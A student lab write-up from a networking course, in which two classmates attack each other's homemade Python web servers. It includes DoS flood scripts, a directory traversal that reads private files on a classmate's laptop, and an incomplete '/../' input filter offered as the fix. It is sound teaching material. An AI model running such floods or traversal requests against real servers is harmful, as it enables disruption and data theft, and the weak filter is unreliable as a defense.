Setup:

The first portion of the project was getting the web servers set up. First, the web servers were initialized by running `sudo python3 webserver.py.` Then, IP addresses were derived by running `dig -4 TXT +short o-o.myaddr.l.google.com @ns1.google.com`. From here, we derived the links http://131.229.194.238:5050/HelloWorld.html for accessing my server's "Hello World" file, and http://131.229.237.235:4444/HelloWorld.html for accessing Addie's server's "Hello World" file.

Attack 1: DOS

Initial attempt: **DOS_1.py**. A while(True) loop that connected to the server and sent a GET request repeatedly was used. To run the attack on Addie's server, I ran `sudo python3 DOS_1.py 131.229.237.235 44444 HelloWorld.html` on my DOS_1.py script. The original implementation, which only had the `client.send(request.encode())` line in the while() loop, led to a pipe error. In addition, not reinitializing the socket each time yielded an error stating that the socket was already in use.

From the web server terminal, we verified that requests were coming in rapidly. However, this was not enough to knock the server down, so the attack was unsuccessful.

DOS_1.py > ...

```python
import socket
import sys
import asyncio

server_host = sys.argv[1]
server_port = int(sys.argv[2])
filename = sys.argv[3]

request = "GET /%s HTTP/1.1\r\n\r\n" %(filename)

while(True):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((server_host, server_port)) # filename ?
    client.send(request.encode())
    asyncio.run(request())
```

Second attempt: **DOS.py**. Using the asyncio library, we created a function that repeatedly opened new send_request() calls. Unfortunately the results remained the same and the web server was not knocked down.

```python
import socket
import sys
import asyncio

server_host = sys.argv[1]
server_port = int(sys.argv[2])
filename = sys.argv[3]

request = "GET /%s HTTP/1.1\r\n\r\n" %(filename)

async def attack():
    while(True):
        await send_request()

async def send_request():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((server_host, server_port)) # filename ?
    client.send(request.encode())

asyncio.run(attack())
```

Defense Against DOS
To defend against a DOS attack, we could identify the IP address of a sender sending a suspicious quantity of requests, and block that particular IP address.

Attack #2: DDOS

Addie and I tried both attacking my server concurrently using the asyncio library as a DDOS attack. I ran `sudo python3 DOS.py 131.229.194.238 5050 HelloWorld.html` on my DOS.py script to attack my own server. This was still not effective – running a request to the server while the attacks were running still yielded the “Hello World” page.

We also toyed with the idea of recruiting library computers to increase the fire power of the DDOS attack. However, we ultimately decided against it because we didn’t want to hog the library computers and take the time to install python on all of them.

Defense Against DDOS

Due to the unsuccessful result of the attack, there was no defending to implement. However, generally speaking, increasing the bandwidth of the server, verifying the IP addresses of the attackers and dropping/blocking their packets, or using a proxy that detects suspicious traffic and only forwards legitimate requests to you are all potential approaches to minimizing the effectiveness of a DDOS attack.

Attack #3: Accessing Other Files

I ran `sudo python3 client.py 131.229.237.235 44444 README.md` to request Addie’s README.md and `sudo python3 client.py 131.229.237.235 44444`

`client.py`. I was able to get Addie's README.md and her client.py file, which was not intended to be accessible to the client.

```
meganvarnum@Megans-MacBook-Pro-3 CSC249-Project1 % sudo python3 client.py 131.229.237.235 44444 README.md
HTTP/1.1 200 OK


# Project 1: DIY Webserver
Author: Addie Hannan

## Running the Server:
- `sudo python3 webserver.py`

## Testing via the Browser:
- http://localhost:44444/HelloWorld.html

## Running the Client:
- `sudo python3 client.py 127.0.0.1 44444 HelloWorld.html`

## Testing the Multithreading
- Uncomment the `time.sleep()` on line 33
- Open three terminals
- Run the `webserver.py` in the first terminal and `client.py` in the other two
- The intended behavior is that both threads are created before either connection socket is closed
- ![Successful Multithreading](multithreading.png)

## Resources Consulted:
- [Real Python Sockets](https://realpython.com/python-sockets/)
- [GeeksForGeeks Sockets](https://www.geeksforgeeks.org/socket-programming-python/)
- [Zet Code Python Socket](https://zetcode.com/python/socket/)
- [Pyhton Socket Programming HOWTO](https://docs.python.org/3/howto/sockets.html)
- [GeeksForGeeks Multithreading](https://www.geeksforgeeks.org/multithreading-python-set-1/)

## Reflection
### What wor
ked, what didn't, what advice would you give someone taking this course in the future?

I was lost on my own, so attending office and TA hours really saved me on this project. That said, I really should have at
tended these help hours a lot earlier. I started this assignment at a reasonable time but making so little progress on my
own sort of negate
d the effect of this. My advice to future students is familiarize yourself with the assignment, ask basic questions on Sla
ck, start coding, formulate specific questions as you get stuck, and attend help hours. Be sure to get help early so that
you don't spend too many hours making no progress and more importantly, so you have the chance to get more help when you g
et stuck again
```

```
meganvarnum@Megans-MacBook-Pro-3 CSC249-Project1 % sudo python3 client.py 131.229.237.235 44444 client.py
HTTP/1.1 200 OK


# Addie Hannan
# Project 1 - Phase 3

import socket
import sys  # For reading in command line arguments


def clientFunction(server_host, server_port, filename):
    ''' https://www.geeksforgeeks.org/socket-programming-python/'''

    clientSocket = socket.socket()  # Creates client socket
    clientSocket.connect((server_host, int(server_port))
                         )  # Connects to the server

    ''' https://zetcode.com/python/socket/'''

    httpGetRequest = "GET /" + filename + " HTTP/1.1\
r\nHost: " + server_host + ":" + \
        server_port + "\r\nAccept: text/html\r\nConnection: close\r\n\r\n"  # HTTP GET Request
    # Encodes and sends HTTP request to server
    clientSocket.send(httpGetRequest.encode())
    while True:
        data = clientSocket.recv(1024)  # Recevies data from server
        if not data:  # Checks whether or not data was received
            break
        print(data.decode())  # Decodes and prints data

    clientSocket.close()  # Closes client socket


if __name__ == "__main__":  # Prevents code from running when imported into other files
    # Parse input arguments
    server_host, server_port, filename = sys.argv[1], sys.argv[2], sys.argv[3]
    clientFunction(server_host, server_port, filename)
```

It gets worse – we found that we could navigate up the file hierarchy, so essentially most files on Addie's computer were accessible to me as well. For example, I requested `../Downloads/MUS_960_Note.txt`, and got Addie's practice notes. In further research, we learned that this attack is called a Directory Traversal.

```
meganvarnum@Megans-MacBook-Pro-3 CSC249-Project1 % sudo python3 client.py 131.229.237.235 44444 ../Downloads/MUS_960_Note.
txt
HTTP/1.1 200 OK

Unfortunately, I couldnâ€™t practice as much as I'd planned and am subsequently still learning the notes. I will figure out
the rhythm once I am more comfortable with the notes but would find a recording particularly helpful.
```

Defense

Sanitizing the input request from the client could mitigate this issue. In lines 21-22, I added a check to reject file names that navigate up in the file hierarchy.

```
20
21              if(filename[0:4] == "/../") :
22                  return
23
```